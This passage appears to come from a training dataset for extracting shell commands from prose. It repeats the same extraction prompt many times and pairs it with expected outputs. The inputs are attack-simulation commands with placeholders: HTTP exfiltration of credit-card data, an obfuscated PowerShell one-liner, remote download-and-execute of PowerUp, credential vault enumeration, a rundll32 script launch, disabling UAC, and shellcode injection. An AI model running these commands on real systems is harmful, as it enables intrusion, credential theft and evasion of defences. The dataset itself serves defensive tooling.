step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n An Excel file containing VBA Macro with sensitive data (about 20 valid credit card numbers) will be exfiltrated via HTTP when running this command: Invoke-WebRequest -Uri #{ip_address} -Method POST -Body \"#{input_file}\"\n; To display the message 'Hello, from PowerShell!' through an obfuscated PowerShell script, use this command: $cmDwhy =[TyPe](\"{0}{1}\" -f 'S','TrING') ; $pz2Sb0 =[TYpE](\"{1}{0}{2}\"-f'nv','cO','ert') ; &(\"{0}{2}{3}{1}{4}\" -f'In','SiO','vOKe-EXp','ReS','n') ( &(\"{1}{2}{0}\"-f'blE','gET-','vaRIA') ('CMdw'+'h'+'y')).\"v`ALUe\"::(\"{1}{0}\" -f'iN','jO').Invoke('',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163 , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40, 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .('%') { ( [CHAR] ( $Pz2sB0::\"t`OinT`16\"(( [sTring]${_}) ,8)))})) )", "output": "{\"command_list\": [\"Invoke-WebRequest -Uri #{ip_address} -Method POST -Body \\\"#{input_file}\\\"\\n\", \"$cmDwhy =[TyPe](\\\"{0}{1}\\\" -f 'S','TrING') ; $pz2Sb0 =[TYpE](\\\"{1}{0}{2}\\\"-f'nv','cO','ert') ; &(\\\"{0}{2}{3}{1}{4}\\\" -f'In','SiO','vOKe-EXp','ReS','n') ( (&(\\\"{1}{2}{0}\\\"-f'blE','gET-','vaRIA') ('CMdw'+'h'+'y')).\\\"v`ALUe\\\"::(\\\"{1}{0}\\\" -f'iN','jO').Invoke('',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163 , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40, 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .('%') { ( [CHAR] ( $Pz2sB0::\\\"t`OinT`16\\\"(( [sTring]${_}) ,8)))})) )\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To enumerate credentials stored in the Windows Credentials vault, use the following built-in utility command: vaultcmd /listcreds:\"Windows Credentials\" /all; To enumerate credentials stored in the Web Credentials vault of Windows Credential Manager, use the following command: vaultcmd /listcreds:\"Web Credentials\" /all", "output": "{\"command_list\": [\"vaultcmd /listcreds:\\\"Windows Credentials\\\" /all\\n\", \"vaultcmd /listcreds:\\\"Web Credentials\\\" /all\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To test execution of a remote script via rundll32.exe, which will open notepad.exe, use the following command: rundll32.exe javascript:\"\\\\..\\\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:#{file_url}\").Exec();window.close();; For executing a command with rundll32.exe and VBscript in a manner akin to the JavaScript test, execute this command: rundll32 vbscript:\"\\\\..\\\\mshtml,RunHTMLApplication \"+String(CreateObject(\"WScript.Shell\").Run(\"#{command_to_execute}\"),0)\nAs noted by Hexacorn, this will result in calc.exe being launched.", "output": "{\"command_list\": [\"rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write();GetObject(\\\"script:#{file_url}\\\").Exec();window.close();\\n\", \"rundll32 vbscript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\"+String(CreateObject(\\\"WScript.Shell\\\").Run(\\\"#{command_to_execute}\\\"),0)\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n You can turn off UAC by changing the EnableLUA registry value using this command: reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f; The User Account Control Bypass can be performed by using this command: \"#{uacme_exe}\". Note that successful execution results in event viewer loading and two administrative command prompts appearing.", "output": "{\"command_list\": [\"reg.exe ADD HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System /v EnableLUA /t REG_DWORD /d 0 /f\\n\", \"\\\"#{uacme_exe}\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This technique involves injecting shellcode into a remote process, which can be achieved by running the command: $process = Start-Process #{spawn_process_path} -passthru\n$PathToAtomicsFolder\\T1055\\bin\\x64\\RtlCreateUserThread.exe -pid $process.Id -debug; This technique uses the Windows CreateRemoteThread function from Kernel32.dll to run shellcode in a remote process, which can be achieved by executing the following command: $process = Start-Process #{spawn_process_path} -passthru\n$PathToAtomicsFolder\\T1055\\bin\\x64\\CreateRemoteThreadNative.exe -pid $process.Id -debug", "output": "{\"command_list\": [\"$process = Start-Process #{spawn_process_path} -passthru\\n$PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\RtlCreateUserThread.exe -pid $process.Id -debug\\n\", \"$process = Start-Process #{spawn_process_path} -passthru\\n$PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\CreateRemoteThreadNative.exe -pid $process.Id -debug\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Using Powershell, you can silently remove a file from the temp directory with this command: Remove-Item -path #{file_to_delete}; To recursively delete a folder in the temporary directory without any output, use the following Powershell command: Remove-Item -Path #{folder_to_delete} -Recurse. You can verify the deletion in File Explorer.", "output": "{\"command_list\": [\"Remove-Item -path #{file_to_delete}\\n\", \"Remove-Item -Path #{folder_to_delete} -Recurse\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To manipulate a file by creating it if it doesn't exist, writing data to it, and setting zero data, use the following command: \nif (-not (Test-Path \"#{file_to_manipulate}\")) { New-Item \"#{file_to_manipulate}\" -Force } \necho \"1234567890\" > \"#{file_to_manipulate}\"\nfsutil file setZeroData offset=0 length=#{file_data_length} \"#{file_to_manipulate}\"\n; Credentials for the current user can be displayed, though not passwords, via the command: cmdkey /list", "output": "{\"command_list\": [\"if (-not (Test-Path \\\"#{file_to_manipulate}\\\")) { New-Item \\\"#{file_to_manipulate}\\\" -Force } \\necho \\\"1234567890\\\" > \\\"#{file_to_manipulate}\\\"\\nfsutil file setZeroData offset=0 length=#{file_data_length} \\\"#{file_to_manipulate}\\\"\\n\", \"cmdkey /list\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they 